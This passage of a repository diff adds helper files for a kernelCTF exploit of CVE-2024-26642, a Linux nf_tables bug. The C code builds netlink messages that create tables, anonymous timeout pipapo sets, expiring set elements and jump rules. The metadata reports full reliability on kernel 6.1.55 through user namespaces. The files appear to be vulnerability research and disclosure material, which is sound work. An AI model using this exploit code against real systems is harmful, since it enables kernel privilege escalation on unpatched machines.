memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + printf("Create rule\n"); + } + cur_handle++; +} + +struct nlmsghdr * new_rule_immediate_msg(char *table_name, char *chain_name, uint32_t code, char *target_chain){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWRULE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * exprs = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *expr_data = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_verdict = nlmsg_alloc(); + + nla_put_u32(data_verdict, NFTA_VERDICT_CODE, htonl(code)); + if(code==NFT_JUMP) + nla_put_string(data_verdict, NFTA_VERDICT_CHAIN, target_chain); + nla_put_nested(data, NFTA_DATA_VERDICT, data_verdict); + + nla_put_u32(expr_data, NFTA_IMMEDIATE_DREG, htonl(NFT_REG_VERDICT)); + nla_put_nested(expr_data, NFTA_IMMEDIATE_DATA, data); + + nla_put_string(data_nest, NFTA_EXPR_NAME, "immediate"); + nla_put_nested(data_nest, NFTA_EXPR_DATA, expr_data); + + nla_put_nested(exprs, NFTA_LIST_ELEM, data_nest); + nla_put_string(msg2, NFTA_RULE_TABLE, table_name); + nla_put_string(msg2, NFTA_RULE_CHAIN, chain_name); + nla_put_nested(msg2, NFTA_RULE_EXPRESSIONS, exprs); + cur_handle++; + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/set.h b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/set.h new file mode 100644 index 00000000..928be2d5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/set.h @@ -0,0 +1,122 @@ +extern int cur_handle; +struct nlmsghdr * new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(char *table_name, char *set_name, int key_len){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<2;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_MAP|NFT_SET_CONCAT|NFT_SET_TIMEOUT|NFT_SET_ANONYMOUS)); + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VERDICT)); + + cur_handle++; + return hdr2; +} + + + +void new_set_pipapo_for_chain(struct nl_sock * socket, char *table_name, char *set_name, int key_len){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + //init msg + + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<2;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(key_len)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_MAP|NFT_SET_CONCAT)); + nla_put_u32(msg2, NFTA_SET_DATA_TYPE, htonl(NFT_DATA_VERDICT)); + + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } + cur_handle++; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/setelem.h b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/setelem.h new file mode 100644 index 00000000..16e87cfd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/setelem.h @@ -0,0 +1,56 @@ + +struct nlmsghdr * new_setelem_with_chain_and_expiration_msg(char *table_name, char *set_name, void *udata, uint32_t ulen, char *chain, char * key, int key_size, char *key_end, int key_end_size, int if_catchall, uint64_t expiration_time){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSETELEM),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + + struct nl_msg *elem = nlmsg_alloc(); + struct nl_msg *elem_nest = nlmsg_alloc(); + struct nl_msg *elem_key = nlmsg_alloc(); + struct nl_msg *elem_end = nlmsg_alloc(); + struct nl_msg *elem_data = nlmsg_alloc(); + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + + nla_put_u32(data, NFTA_VERDICT_CODE, htonl(NFT_JUMP)); + nla_put_string(data, NFTA_VERDICT_CHAIN, chain); + nla_put_nested(data_nest, NFTA_DATA_VERDICT, data); + nla_put_nested(elem_nest, NFTA_SET_ELEM_DATA, data_nest); + + nla_put_u64(elem_nest, NFTA_SET_ELEM_EXPIRATION, expiration_time); + nla_put_u64(elem_nest, NFTA_SET_ELEM_TIMEOUT, expiration_time); + if(if_catchall){ + nla_put_u32(elem_nest, NFTA_SET_ELEM_FLAGS, htonl(NFT_SET_ELEM_CATCHALL)); + } + else{ + nla_put(elem_key, NFTA_DATA_VALUE, key_size, key); + if(key_end != NULL){ + nla_put(elem_end, NFTA_DATA_VALUE, key_end_size, key_end); + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY_END, elem_end); + } + nla_put_nested(elem_nest, NFTA_SET_ELEM_KEY, elem_key); + } + if(udata>0){ + nla_put(elem_nest, NFTA_SET_ELEM_USERDATA, ulen, udata); + } + + nla_put_nested(elem, 1, elem_nest); + + nla_put_string(msg2, NFTA_SET_ELEM_LIST_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_ELEM_LIST_SET, set_name); + nla_put_nested(msg2, NFTA_SET_ELEM_LIST_ELEMENTS, elem); + + return hdr2; +} + diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/table.h b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/table.h new file mode 100644 index 00000000..518d4dd6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/table.h @@ -0,0 +1,72 @@ +void new_table(struct nl_sock * socket, char *name){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } +} + +struct nlmsghdr * new_table_with_udata_msg(char *name,char *udata, int len){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWTABLE),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + nla_put_string(msg2, NFTA_TABLE_NAME, name); + nla_put(msg2,NFTA_TABLE_USERDATA,len,udata); + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/metadata.json b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/metadata.json new file mode 100644 index 00000000..4fa64364 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/metadata.json @@ -0,0 +1,37 @@ +{ + "$schema":"https://google.github.io/security-research/kernelctf/metadata.schema.v2.json", + "submission_ids":[ + "exp147" + ], + "vulnerability":{ + "patch_commit":"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=16603605b667b70da974bea8216c93e7db043bf1", + "cve":"CVE-2024-26642", + "affected_versions":[ + "6.1.35 - 6.1.83", + "5.15.121 - 5.15.153" + ], + "requirements":{ + "attack_surface":[ + + ], + "capabilities":[ + "CAP_NET_ADMIN" + ], + "kernel_config":[ + "CONFIG_NETFILTER", + "CONFIG_NF_TABLES" + ] + } + }, + "exploits":[ + { + "environment":"mitigation-6.1.55", + "uses":[ + "userns" + ], + "requires_seperate_kaslr_leak":false, + "stability_notes":"10 times success per 10 times run" + } + ] + + } diff --git a/pocs/linux/kernelctf/CVE-2024-26642_mitigation/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/original.tar.gz new file mode 100644 index 00000000..7b381911 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26642_mitigation/original.tar.gz differ